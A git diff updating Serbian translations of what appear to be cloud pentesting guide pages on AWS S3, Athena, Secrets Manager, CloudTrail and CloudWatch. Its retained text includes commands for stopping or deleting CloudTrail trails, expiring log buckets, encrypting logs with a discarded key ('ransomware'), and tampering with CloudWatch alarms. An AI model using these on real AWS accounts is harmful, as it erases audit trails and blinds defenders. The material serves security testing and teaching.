@@ -123,12 +123,12 @@ Slično SSE-KMS, ovo takođe koristi servis za upravljanje ključevima za generi Korišćenjem ovog mehanizma, možete koristiti svoje obezbeđene ključeve i koristiti AWS-SDK klijent za enkripciju vaših podataka pre slanja u S3 na čuvanje. - Enkripcija: -- Klijent generiše DEK i enkriptuje obične podatke -- Zatim, koristeći svoj prilagođeni CMK, enkriptuje DEK +- Klijent generiše DEK i enkriptuje plaintext podatke +- Zatim, koristeći svoj vlastiti prilagođeni CMK, enkriptuje DEK - šalje enkriptovane podatke + enkriptovani DEK u S3 gde se čuva - Dekripcija: - S3 šalje enkriptovane podatke i DEK -- Kako klijent već ima CMK koji se koristi za enkripciju DEK-a, dekriptuje DEK i zatim koristi obični DEK za dekripciju podataka +- Kako klijent već ima CMK koji se koristi za enkripciju DEK, dekriptuje DEK i zatim koristi plaintext DEK za dekripciju podataka
@@ -250,13 +250,13 @@ Na sledećoj stranici možete proveriti kako da **zloupotrebite S3 dozvole za es ../aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md {{#endref}} -### S3 Post Exploitation +### S3 Post Eksploatacija {{#ref}} ../aws-post-exploitation/aws-s3-post-exploitation.md {{#endref}} -### Persistencija +### Postojanost {{#ref}} ../aws-persistence/aws-s3-persistence.md @@ -274,11 +274,11 @@ Amazon Athena je interaktivna usluga za upite koja olakšava **analizu podataka* Treba da **pripremite relacijsku DB tabelu** sa formatom sadržaja koji će se pojaviti u nadgledanim S3 bucket-ima. A zatim, Amazon Athena će moći da popuni DB iz logova, tako da možete da upitujete. -Amazon Athena podržava **mogućnost upita nad S3 podacima koji su već enkriptovani** i ako je tako konfigurisano, **Athena takođe može enkriptovati rezultate upita koji se zatim mogu skladištiti u S3**. +Amazon Athena podržava **mogućnost upita nad S3 podacima koji su već enkriptovani** i ako je konfigurisan da to uradi, **Athena takođe može enkriptovati rezultate upita koji se zatim mogu skladištiti u S3**. -**Ova enkripcija rezultata je nezavisna od osnovnih upitanih S3 podataka**, što znači da čak i ako S3 podaci nisu enkriptovani, upitani rezultati mogu biti enkriptovani. Par tačaka na koje treba obratiti pažnju je da Amazon Athena podržava samo podatke koji su **enkriptovani** sa **sledećim S3 metodama enkripcije**, **SSE-S3, SSE-KMS, i CSE-KMS**. +**Ova enkripcija rezultata je nezavisna od osnovnih upitanih S3 podataka**, što znači da čak i ako S3 podaci nisu enkriptovani, upitani rezultati mogu biti enkriptovani. Nekoliko tačaka na koje treba obratiti pažnju je da Amazon Athena podržava samo podatke koji su **enkriptovani** sa **sledećim S3 metodama enkripcije**, **SSE-S3, SSE-KMS, i CSE-KMS**. -SSE-C i CSE-E nisu podržani. Pored ovoga, važno je razumeti da će Amazon Athena izvršavati upite samo protiv **enkriptovanih objekata koji su u istoj regiji kao i sam upit**. Ako trebate da upitujete S3 podatke koji su enkriptovani koristeći KMS, tada su potrebne specifične dozvole korisnika Athene da im omoguće izvršavanje upita. +SSE-C i CSE-E nisu podržani. Pored ovoga, važno je razumeti da Amazon Athena može izvršavati upite samo nad **enkripovanim objektima koji su u istoj regiji kao i sam upit**. Ako trebate da upitujete S3 podatke koji su enkriptovani koristeći KMS, tada su potrebne specifične dozvole za Athena korisnika kako bi im omogućili izvršavanje upita. ### Enumeration ```bash @@ -302,7 +302,7 @@ aws athena get-prepared-statement --statement-name --work-group # Run query aws athena start-query-execution --query-string ``` -## Референце +## Reference - [https://cloudsecdocs.com/aws/defensive/tooling/cli/#s3](https://cloudsecdocs.com/aws/defensive/tooling/cli/#s3) - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/dual-stack-endpoints.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/dual-stack-endpoints.html) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md index 4940c4658..fbec1e063 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md @@ -6,7 +6,7 @@ AWS Secrets Manager je dizajniran da **eliminira korišćenje hard-kodiranih tajni u aplikacijama zamenjujući ih API pozivom**. Ova usluga služi kao **centralizovani repozitorijum za sve vaše tajne**, osiguravajući da se njima upravlja uniformno kroz sve aplikacije. -Menadžer pojednostavljuje **proces rotacije tajni**, značajno poboljšavajući bezbednosni položaj osetljivih podataka kao što su kredencijali baze podataka. Pored toga, tajne kao što su API ključevi mogu se automatski rotirati uz integraciju lambda funkcija. +Menadžer pojednostavljuje **proces rotacije tajni**, značajno poboljšavajući bezbednosni položaj osetljivih podataka kao što su kredencijali za baze podataka. Pored toga, tajne poput API ključeva mogu se automatski rotirati integracijom lambda funkcija. Pristup tajnama je strogo kontrolisan kroz detaljne IAM politike zasnovane na identitetu i politike zasnovane na resursima. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md index a0e72e9b6..d7caf71eb 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md @@ -1 +1 @@ -# AWS - Bezbednost i Detekcijske Usluge +# AWS - Bezbednost i Detekcione Usluge diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md index 438e504cb..a75106703 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md @@ -4,7 +4,7 @@ ## **CloudTrail** -AWS CloudTrail **beleži i prati aktivnost unutar vašeg AWS okruženja**. Zapisuje detaljne **logove događaja**, uključujući ko je šta uradio, kada i odakle, za sve interakcije sa AWS resursima. Ovo pruža trag revizije promena i akcija, pomažući u analizi bezbednosti, reviziji usklađenosti i praćenju promena resursa. CloudTrail je ključan za razumevanje ponašanja korisnika i resursa, poboljšanje bezbednosnih mera i osiguranje usklađenosti sa propisima. +AWS CloudTrail **beleži i prati aktivnosti unutar vašeg AWS okruženja**. Zapisuje detaljne **logove događaja**, uključujući ko je šta uradio, kada i odakle, za sve interakcije sa AWS resursima. Ovo pruža trag revizije promena i akcija, pomažući u analizi bezbednosti, reviziji usklađenosti i praćenju promena resursa. CloudTrail je ključan za razumevanje ponašanja korisnika i resursa, poboljšanje bezbednosnih mera i osiguranje usklađenosti sa propisima. Svaki zabeleženi događaj sadrži: @@ -19,12 +19,12 @@ Svaki zabeleženi događaj sadrži: - Parametri zahteva: `requestParameters` - Elementi odgovora: `responseElements` -Događaji se upisuju u novu log datoteku **otprilike svake 5 minuta u JSON datoteci**, čuvaju ih CloudTrail i na kraju, log datoteke se **isporučuju u S3 otprilike 15 minuta nakon**.\ +Događaji se zapisuju u novu log datoteku **otprilike svake 5 minuta u JSON datoteci**, drže ih CloudTrail i na kraju, log datoteke se **isporučuju u S3 otprilike 15 minuta nakon**.\ CloudTrail logovi se mogu **agregirati između naloga i između regiona.**\ -CloudTrail omogućava korišćenje **integriteta log datoteka kako biste mogli da verifikujete da su vaše log datoteke ostale nepromenjene** od trenutka kada ih je CloudTrail isporučio vama. Kreira SHA-256 hash logova unutar datoteke sa sažetkom. SHA-256 hash novih logova se kreira svake sat vremena.\ -Kada kreirate Trail, selektori događaja će vam omogućiti da označite trail za logovanje: upravljanje, podatke ili uvid događaje. +CloudTrail omogućava korišćenje **integriteta log datoteka kako biste mogli da verifikujete da su vaše log datoteke ostale nepromenjene** od trenutka kada ih je CloudTrail isporučio. Kreira SHA-256 hash logova unutar datoteke sa sažetkom. SHA-256 hash novih logova se kreira svake sat vremena.\ +Kada kreirate Trail, selektori događaja će vam omogućiti da označite trail za logovanje: upravljanje, podaci ili uvidi. -Logovi se čuvaju u S3 kanti. Po defaultu se koristi enkripcija sa servera (SSE-S3) tako da AWS dekriptuje sadržaj za ljude koji imaju pristup, ali za dodatnu bezbednost možete koristiti SSE sa KMS i svojim ključevima. +Logovi se čuvaju u S3 kanti. Po defaultu se koristi enkripcija sa servera (SSE-S3) tako da AWS dekriptuje sadržaj za ljude koji imaju pristup, ali za dodatnu bezbednost možete koristiti SSE sa KMS i vašim sopstvenim ključevima. Logovi se čuvaju u **S3 kanti sa ovim formatom imena**: @@ -53,7 +53,7 @@ Međutim, čak i ako možete sačuvati sve logove u istoj S3 kanti, ne možete a > [!CAUTION] > Zapamtite da nalog može imati **različite Trails** iz CloudTrail **omogućenih** koji čuvaju iste (ili različite) logove u različitim kantama. -### CloudTrail iz svih org naloga u 1 +### Cloudtrail iz svih org naloga u 1 Kada kreirate CloudTrail, moguće je naznačiti da se aktivira cloudtrail za sve naloge u organizaciji i da se logovi dobiju u samo 1 kantu: @@ -70,20 +70,20 @@ aws cloudtrail validate-logs --trail-arn --start-time [- ### Logs to CloudWatch **CloudTrail može automatski slati logove u CloudWatch kako biste mogli postaviti upozorenja koja vas obaveštavaju kada se izvrše sumnjive aktivnosti.**\ -Napomena: da bi CloudTrail mogao slati logove u CloudWatch, potrebno je kreirati **ulogu** koja omogućava tu akciju. Ako je moguće, preporučuje se korišćenje AWS podrazumevane uloge za izvršavanje ovih akcija. Ova uloga će omogućiti CloudTrail-u da: +Imajte na umu da je potrebno kreirati **ulogu** koja omogućava CloudTrail-u da šalje logove u CloudWatch. Ako je moguće, preporučuje se korišćenje AWS podrazumevane uloge za izvršavanje ovih akcija. Ova uloga će omogućiti CloudTrail-u da: - CreateLogStream: Ovo omogućava kreiranje CloudWatch Logs log stream-ova - PutLogEvents: Dostavlja CloudTrail logove u CloudWatch Logs log stream ### Event History -CloudTrail Event History omogućava vam da pregledate u tabeli logove koji su zabeleženi: +CloudTrail Event History vam omogućava da pregledate u tabeli logove koji su zabeleženi: ![](<../../../../images/image (89).png>) ### Insights -**CloudTrail Insights** automatski **analizira** događaje upravljanja pisanjem iz CloudTrail tragova i **upozorava** vas na **neobične aktivnosti**. Na primer, ako dođe do povećanja `TerminateInstance` događaja koji se razlikuje od utvrđenih osnovica, videćete to kao Insight događaj. Ovi događaji olakšavaju **pronalazak i reagovanje na neobične API aktivnosti** kao nikada pre. +**CloudTrail Insights** automatski **analizira** write management događaje iz CloudTrail tragova i **upozorava** vas na **neobične aktivnosti**. Na primer, ako dođe do povećanja `TerminateInstance` događaja koji se razlikuje od utvrđenih osnovica, videćete to kao Insight događaj. Ovi događaji olakšavaju **pronalazak i reagovanje na neobične API aktivnosti** kao nikada pre. Uvidi se čuvaju u istom bucket-u kao CloudTrail logovi u: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` @@ -96,10 +96,10 @@ Uvidi se čuvaju u istom bucket-u kao CloudTrail logovi u: `BucketName/AWSLogs/A ## Access Advisor -AWS Access Advisor se oslanja na poslednjih 400 dana AWS **CloudTrail logova za prikupljanje svojih uvida**. CloudTrail beleži istoriju AWS API poziva i povezanih događaja izvršenih u AWS nalogu. Access Advisor koristi ove podatke da **prikaže kada su usluge poslednji put korišćene**. Analizom CloudTrail logova, Access Advisor može odrediti koje AWS usluge je IAM korisnik ili uloga koristila i kada je taj pristup izvršen. Ovo pomaže AWS administratorima da donesu informisane odluke o **usavršavanju dozvola**, jer mogu identifikovati usluge koje nisu korišćene duži vremenski period i potencijalno smanjiti preširoke dozvole na osnovu stvarnih obrazaca korišćenja. +AWS Access Advisor se oslanja na poslednjih 400 dana AWS **CloudTrail logova kako bi prikupio svoje uvide**. CloudTrail beleži istoriju AWS API poziva i povezanih događaja izvršenih u AWS nalogu. Access Advisor koristi ove podatke da **prikaže kada su usluge poslednji put korišćene**. Analizom CloudTrail logova, Access Advisor može odrediti koje AWS usluge je IAM korisnik ili uloga koristila i kada je taj pristup izvršen. Ovo pomaže AWS administratorima da donesu informisane odluke o **usavršavanju dozvola**, jer mogu identifikovati usluge koje nisu korišćene duži vremenski period i potencijalno smanjiti preširoke dozvole na osnovu stvarnih obrazaca korišćenja. > [!TIP] -> Stoga, Access Advisor obaveštava o **nepotrebnim dozvolama koje se daju korisnicima** kako bi administrator mogao da ih ukloni +> Stoga, Access Advisor obaveštava o **nepotrebnim dozvolama koje se daju korisnicima** kako bi ih administrator mogao ukloniti
@@ -125,7 +125,7 @@ aws cloudtrail get-query-results --event-data-store --query-id ) > [!CAUTION] -> Imajte na umu da su sve javne API-jeve za koje je otkriveno da ne kreiraju CloudTrail logove sada ispravljene, tako da možda treba da pronađeš svoje... +> Imajte na umu da su sve javne API-jeve za koje je otkriveno da ne kreiraju CloudTrail logove sada ispravljene, tako da možda treba da pronađete svoje... > -> Za više informacija proveri [**original research**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/). +> Za više informacija proverite [**originalno istraživanje**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/). ### Pristupanje trećoj infrastrukturi @@ -224,7 +224,7 @@ aws cloudtrail delete-trail --name [trail-name] ```bash aws cloudtrail stop-logging --name [trail-name] ``` -#### Onemogućite logovanje u više regiona +#### Onemogućite višeregionalno logovanje ```bash aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services ``` @@ -240,22 +240,22 @@ U prvom primeru, jedan selektor događaja je dat kao JSON niz sa jednim objektom Možete prilagoditi selektor događaja na osnovu vaših specifičnih zahteva. -#### Brisanje logova putem S3 životnog ciklusa +#### Brisanje logova putem S3 lifecycle politike ```bash aws s3api put-bucket-lifecycle --bucket --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region ``` ### Modifikovanje konfiguracije kante -- Obriši S3 kantu -- Promeni politiku kante da odbije bilo kakve upise iz CloudTrail servisa -- Dodaj politiku životnog ciklusa S3 kanti da obriše objekte -- Onemogući kms ključ koji se koristi za enkripciju CloudTrail logova +- Obrišite S3 kantu +- Promenite politiku kante da odbije bilo kakve upise iz CloudTrail servisa +- Dodajte politiku životnog ciklusa S3 kanti da obriše objekte +- Onemogućite KMS ključ koji se koristi za enkripciju CloudTrail logova ### Cloudtrail ransomware #### S3 ransomware -Možeš **generisati asimetrični ključ** i naterati **CloudTrail da enkriptuje podatke** tim ključem i **obrisati privatni ključ** tako da se sadržaj CloudTrail-a ne može povratiti.\ +Možete **generisati asimetrični ključ** i naterati **CloudTrail da enkriptuje podatke** tim ključem i **obrisati privatni ključ** tako da se sadržaj CloudTrail-a ne može povratiti.\ Ovo je u suštini **S3-KMS ransomware** objašnjeno u: {{#ref}} @@ -264,7 +264,7 @@ Ovo je u suštini **S3-KMS ransomware** objašnjeno u: **KMS ransomware** -Ovo je najlakši način da se izvede prethodni napad sa različitim zahtevima za dozvole: +Ovo je najlakši način da se izvrši prethodni napad sa različitim zahtevima za dozvole: {{#ref}} ../../aws-post-exploitation/aws-kms-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md index 6ef7aaf1c..85b912ea8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md @@ -37,9 +37,9 @@ Dimenzije su parovi ključ-vrednost koji su deo metrika. Pomažu da se jedinstve - **Primer**: Za EC2 instance, dimenzije mogu uključivati InstanceId, InstanceType i AvailabilityZone. -### Statistika +### Statistike -Statistika su matematičke kalkulacije izvršene na podacima metrika kako bi ih sažele tokom vremena. Uobičajene statistike uključuju Prosečno, Zbir, Minimum, Maksimum i Broj uzoraka. +Statistike su matematičke kalkulacije izvršene na podacima metrika kako bi ih sažele tokom vremena. Uobičajene statistike uključuju Prosečno, Zbir, Minimum, Maksimum i Broj uzoraka. - **Primer**: Izračunavanje prosečne CPU upotrebe tokom perioda od jednog sata. @@ -55,12 +55,12 @@ Jedinice su tip merenja povezan sa metrikom. Jedinice pomažu da se pruži konte **CloudWatch Dashboards** pružaju prilagodljive **poglede na vaše AWS CloudWatch metrike**. Moguće je kreirati i konfigurisati dashboarde za vizualizaciju podataka i nadgledanje resursa u jednom pogledu, kombinujući različite metrike iz raznih AWS usluga. -**Ključne Karakteristike**: +**Ključne karakteristike**: - **Widgeti**: Građevinski blokovi dashboarda, uključujući grafike, tekst, alarme i još mnogo toga. - **Prilagođavanje**: Raspored i sadržaj mogu se prilagoditi kako bi odgovarali specifičnim potrebama nadzora. -**Primer Upotrebe**: +**Primer upotrebe**: - Jedan dashboard koji prikazuje ključne metrike za celo vaše AWS okruženje, uključujući EC2 instance, RDS baze podataka i S3 kante. @@ -68,9 +68,9 @@ Jedinice su tip merenja povezan sa metrikom. Jedinice pomažu da se pruži konte **Metric Streams** u AWS CloudWatch omogućavaju vam da kontinuirano strimujete CloudWatch metrike na odredište po vašem izboru u skoro realnom vremenu. Ovo je posebno korisno za napredni nadzor, analitiku i prilagođene dashboarde koristeći alate van AWS-a. -**Metric Data** unutar Metric Streams se odnosi na stvarna merenja ili podatke koji se strimuju. Ovi podaci predstavljaju različite metrike kao što su CPU upotreba, korišćenje memorije itd., za AWS resurse. +**Metric Data** unutar Metric Streams se odnosi na stvarna merenja ili podatke koji se strimuju. Ovi podaci predstavljaju različite metrike kao što su CPU upotreba, korišćenje memorije, itd., za AWS resurse. -**Primer Upotrebe**: +**Primer upotrebe**: - Slanje real-time metrika trećoj strani za naprednu analizu. - Arhiviranje metrika u Amazon S3 kanti za dugoročno skladištenje i usklađenost. @@ -79,39 +79,39 @@ Jedinice su tip merenja povezan sa metrikom. Jedinice pomažu da se pruži konte **CloudWatch Alarms** nadgledaju vaše metrike i preduzimaju akcije na osnovu unapred definisanih pragova. Kada metrika prekorači prag, alarm može izvršiti jednu ili više akcija kao što su slanje obaveštenja putem SNS-a, pokretanje politike automatskog skaliranja ili pokretanje AWS Lambda funkcije. -**Ključne Komponente**: +**Ključne komponente**: - **Prag**: Vrednost na kojoj se alarm aktivira. -- **Periodi Evaluacije**: Broj perioda tokom kojih se podaci evaluiraju. -- **Podaci za Alarm**: Broj perioda sa dostignutim pragom potreban za aktiviranje alarma. +- **Periodi evaluacije**: Broj perioda tokom kojih se podaci evaluiraju. +- **Podaci za alarm**: Broj perioda sa dostignutim pragom potreban za aktiviranje alarma. - **Akcije**: Šta se dešava kada se stanje alarma aktivira (npr. obaveštavanje putem SNS-a). -**Primer Upotrebe**: +**Primer upotrebe**: -- Nadgledanje CPU upotrebe EC2 instance i slanje obaveštenja putem SNS-a ako premaši 80% tokom 5 uzastopnih minuta. +- Nadgledanje CPU upotrebe EC2 instance i slanje obaveštenja putem SNS-a ako pređe 80% tokom 5 uzastopnih minuta. -### Detektori Anomalija +### Detektori anomalija -**Detektori Anomalija** koriste mašinsko učenje za automatsko otkrivanje anomalija u vašim metrikama. Možete primeniti detekciju anomalija na bilo koju CloudWatch metriku kako biste identifikovali odstupanja od normalnih obrazaca koja mogu ukazivati na probleme. +**Detektori anomalija** koriste mašinsko učenje za automatsko otkrivanje anomalija u vašim metrikama. Možete primeniti detekciju anomalija na bilo koju CloudWatch metriku kako biste identifikovali odstupanja od normalnih obrazaca koja mogu ukazivati na probleme. -**Ključne Komponente**: +**Ključne komponente**: -- **Obuka Modela**: CloudWatch koristi istorijske podatke za obuku modela i utvrđivanje kako izgleda normalno ponašanje. -- **Opseg Detekcije Anomalija**: Vizuelna reprezentacija očekivanog opsega vrednosti za metriku. +- **Obuka modela**: CloudWatch koristi istorijske podatke za obuku modela i utvrđivanje kako izgleda normalno ponašanje. +- **Opseg detekcije anomalija**: Vizuelna reprezentacija očekivanog opsega vrednosti za metriku. -**Primer Upotrebe**: +**Primer upotrebe**: - Otkrivanje neobičnih obrazaca CPU upotrebe u EC2 instanci koji mogu ukazivati na bezbednosni proboj ili problem sa aplikacijom. -### Insight Pravila i Upravljana Insight Pravila +### Uvidi i upravljani uvidi -**Insight Pravila** omogućavaju vam da identifikujete trendove, detektujete skokove ili druge obrasce od interesa u vašim podacima metrika koristeći **moćne matematičke izraze** za definisanje uslova pod kojima bi se akcije trebale preduzeti. Ova pravila mogu vam pomoći da identifikujete anomalije ili neobično ponašanje u performansama i korišćenju vaših resursa. +**Uvidi** vam omogućavaju da identifikujete trendove, detektujete skokove ili druge obrasce od interesa u vašim podacima metrika koristeći **moćne matematičke izraze** za definisanje uslova pod kojima bi se trebale preduzeti akcije. Ova pravila mogu vam pomoći da identifikujete anomalije ili neobično ponašanje u performansama i korišćenju vaših resursa. -**Upravljana Insight Pravila** su unapred konfigurisana **insight pravila koja pruža AWS**. Dizajnirana su za nadgledanje specifičnih AWS usluga ili uobičajenih slučajeva korišćenja i mogu se omogućiti bez potrebe za detaljnom konfiguracijom. +**Upravljani uvidi** su unapred konfigurisana **pravila uvida koja pruža AWS**. Dizajnirana su za nadgledanje specifičnih AWS usluga ili uobičajenih slučajeva korišćenja i mogu se omogućiti bez potrebe za detaljnom konfiguracijom. -**Primer Upotrebe**: +**Primer upotrebe**: -- Nadgledanje RDS Performansi: Omogućite upravljano insight pravilo za Amazon RDS koje nadgleda ključne indikatore performansi kao što su CPU upotreba, korišćenje memorije i disk I/O. Ako bilo koja od ovih metrika premaši sigurne operativne pragove, pravilo može aktivirati upozorenje ili automatsku akciju ublažavanja. +- Nadgledanje RDS performansi: Omogućite upravljano pravilo uvida za Amazon RDS koje nadgleda ključne indikatore performansi kao što su CPU upotreba, korišćenje memorije i disk I/O. Ako bilo koja od ovih metrika premaši sigurne operativne pragove, pravilo može aktivirati upozorenje ili automatsku akciju ublažavanja. ### CloudWatch Logovi @@ -122,19 +122,19 @@ Omogućava **agregaciju i nadgledanje logova iz aplikacija** i sistema iz **AWS | **Log Grupa** | **Kolekcija log stream-ova** koji dele iste postavke zadržavanja, nadzora i kontrole pristupa | | ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | | **Log Stream** | Sekvenca **log događaja** koji dele **isti izvor** | -| **Filteri Pretplate** | Definišu **filter obrazac koji odgovara događajima** u određenoj log grupi, šalju ih u Kinesis Data Firehose stream, Kinesis stream ili Lambda funkciju | +| **Filteri pretplate** | Definišu **filter obrazac koji se poklapa sa događajima** u određenoj log grupi, šalju ih u Kinesis Data Firehose stream, Kinesis stream, ili Lambda funkciju | ### CloudWatch Nadzor & Događaji CloudWatch **osnovni** agregira podatke **svakih 5 minuta** (detaljni to radi **svakih 1 minut**). Nakon agregacije, **proverava pragove alarma** u slučaju da treba da aktivira jedan.\ U tom slučaju, CloudWatch može biti spreman da pošalje događaj i izvrši neke automatske akcije (AWS lambda funkcije, SNS teme, SQS redovi, Kinesis Streams) -### Instalacija Agenta +### Instalacija agenta Možete instalirati agente unutar vaših mašina/kontejnera kako biste automatski slali logove nazad u CloudWatch. - **Kreirajte** **ulogu** i **prikačite** je na **instancu** sa dozvolama koje omogućavaju CloudWatch-u da prikuplja podatke iz instanci pored interakcije sa AWS sistem menadžerom SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM) -- **Preuzmite** i **instalirajte** **agenta** na EC2 instancu ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). Možete ga preuzeti iznutra EC2 ili ga automatski instalirati koristeći AWS System Manager birajući paket AWS-ConfigureAWSPackage +- **Preuzmite** i **instalirajte** **agenta** na EC2 instancu ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). Možete ga preuzeti iz EC2 ili ga automatski instalirati koristeći AWS System Manager birajući paket AWS-ConfigureAWSPackage - **Konfigurišite** i **pokrenite** CloudWatch Agent Log grupa ima mnogo stream-ova. Stream ima mnogo događaja. I unutar svakog stream-a, događaji su zagarantovani da budu u redosledu. @@ -216,7 +216,7 @@ aws events list-event-buses ### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`** -Napadač sa ovim dozvolama mogao bi značajno oslabiti infrastrukturu za praćenje i obaveštavanje organizacije. Brisanjem postojećih alarma, napadač bi mogao onemogućiti ključne obaveštenja koja obaveštavaju administratore o kritičnim problemima sa performansama, bezbednosnim povredama ili operativnim neuspesima. Pored toga, kreiranjem ili modifikovanjem metrik alarmâ, napadač bi takođe mogao da obmanjuje administratore lažnim obaveštenjima ili da utiša legitimne alarme, efikasno prikrivajući zlonamerne aktivnosti i sprečavajući pravovremene odgovore na stvarne incidente. +Napadač sa ovim dozvolama mogao bi značajno oslabiti infrastrukturu za praćenje i obaveštavanje organizacije. Brisanjem postojećih alarma, napadač bi mogao onemogućiti ključne obaveštenja koja obaveštavaju administratore o kritičnim problemima sa performansama, bezbednosnim povredama ili operativnim neuspesima. Pored toga, kreiranjem ili modifikovanjem metrik alarmâ, napadač bi takođe mogao da obmanjuje administratore lažnim obaveštenjima ili utiša legitimne alarme, efikasno prikrivajući zlonamerne aktivnosti i sprečavajući pravovremene reakcije na stvarne incidente. Pored toga, sa dozvolom **`cloudwatch:PutCompositeAlarm`**, napadač bi mogao da kreira petlju ili ciklus kompozitnih alarma, gde kompozitni alarm A zavisi od kompozitnog alarma B, a kompozitni alarm B takođe zavisi od kompozitnog alarma A. U ovom scenariju, nije moguće obrisati nijedan kompozitni alarm koji je deo ciklusa jer uvek postoji kompozitni alarm koji zavisi od alarma koji želite da obrišete. ```bash @@ -224,10 +224,10 @@ aws cloudwatch put-metric-alarm --cli-input-json | --alarm-name aws cloudwatch delete-alarms --alarm-names aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [--no-actions-enabled | --actions-enabled [--alarm-actions ] [--insufficient-data-actions ] [--ok-actions ] ] ``` -Следећи пример показује како учинити метрику аларма неефикасном: +Sledeći primer pokazuje kako učiniti metrik alarm neefikasnim: -- Ова метрика аларма прати просечну CPU употребу одређеног EC2 инстанце, процењује метрику сваког 300 секунди и захтева 6 периода процене (укупно 30 минута). Ако просечна CPU употреба пређе 60% у најмање 4 од ових периода, аларм ће се активирати и послати обавештење на одређену SNS тему. -- Изменом Прагa да буде више од 99%, постављањем Периода на 10 секунди, Периода Процене на 8640 (пошто 8640 периода од 10 секунди једнако је 1 дан), и Датапоинтс на Аларм на 8640, било би неопходно да CPU употреба буде преко 99% сваког 10 секунди током целог 24-часовног периода да би се активирао аларм. +- Ovaj metrik alarm prati prosečnu CPU upotrebu specifične EC2 instance, procenjuje metrik svake 300 sekundi i zahteva 6 evaluacionih perioda (ukupno 30 minuta). Ako prosečna CPU upotreba premaši 60% u najmanje 4 od ovih perioda, alarm će se aktivirati i poslati obaveštenje na određenu SNS temu. +- Modifikovanjem Praga na više od 99%, postavljanjem Perioda na 10 sekundi, Evaluacionih Perioda na 8640 (pošto 8640 perioda od 10 sekundi jednako 1 dan), i Datapoints to Alarm na 8640 takođe, bilo bi potrebno da CPU upotreba bude preko 99% svake 10 sekundi tokom celog 24-satnog perioda da bi se aktivirao alarm. {{#tabs }} {{#tab name="Original Metric Alarm" }} @@ -279,21 +279,21 @@ aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [-- {{#endtab }} {{#endtabs }} -**Potencijalni uticaj**: Nedostatak obaveštenja za kritične događaje, potencijalni neotkriveni problemi, lažne alarme, potiskivanje stvarnih alarma i potencijalno propuštene detekcije stvarnih incidenata. +**Potencijalni uticaj**: Nedostatak obaveštenja za kritične događaje, potencijalni neotkriveni problemi, lažni alarmi, potiskivanje stvarnih alarma i potencijalno propuštene detekcije stvarnih incidenata. -### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions` , `cloudwatch:SetAlarmState`** +### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions`, `cloudwatch:SetAlarmState`** -Brisanjem akcija alarma, napadač bi mogao sprečiti aktivaciju kritičnih obaveštenja i automatskih odgovora kada se dostigne stanje alarma, kao što je obaveštavanje administratora ili pokretanje automatskih aktivnosti skaliranja. Neprikladno omogućavanje ili ponovo omogućavanje akcija alarma takođe može dovesti do neočekivanih ponašanja, bilo ponovnim aktiviranjem prethodno onemogućenih akcija ili modifikovanjem koje se akcije aktiviraju, potencijalno uzrokujući konfuziju i pogrešne smernice u odgovoru na incidente. +Brisanjem akcija alarma, napadač bi mogao sprečiti kritične obaveštenja i automatske odgovore da budu aktivirani kada se dostigne stanje alarma, kao što je obaveštavanje administratora ili pokretanje aktivnosti automatskog skaliranja. Neprikladno omogućavanje ili ponovo omogućavanje akcija alarma takođe može dovesti do neočekivanih ponašanja, bilo ponovnim aktiviranjem prethodno onemogućenih akcija ili modifikovanjem koje se akcije aktiviraju, potencijalno uzrokujući konfuziju i pogrešne smernice u odgovoru na incidente. -Pored toga, napadač sa dozvolom mogao bi manipulisati stanjima alarma, imajući mogućnost da kreira lažne alarme kako bi odvratio i zbunio administratore, ili da utiša stvarne alarme kako bi sakrio tekuće zle aktivnosti ili kritične kvarove sistema. +Pored toga, napadač sa dozvolom mogao bi manipulisati stanjima alarma, imajući mogućnost da kreira lažne alarme kako bi odvratio i zbunio administratore, ili da utiša stvarne alarme kako bi sakrio tekuće zlonamerne aktivnosti ili kritične sistemske kvarove. -- Ako koristite 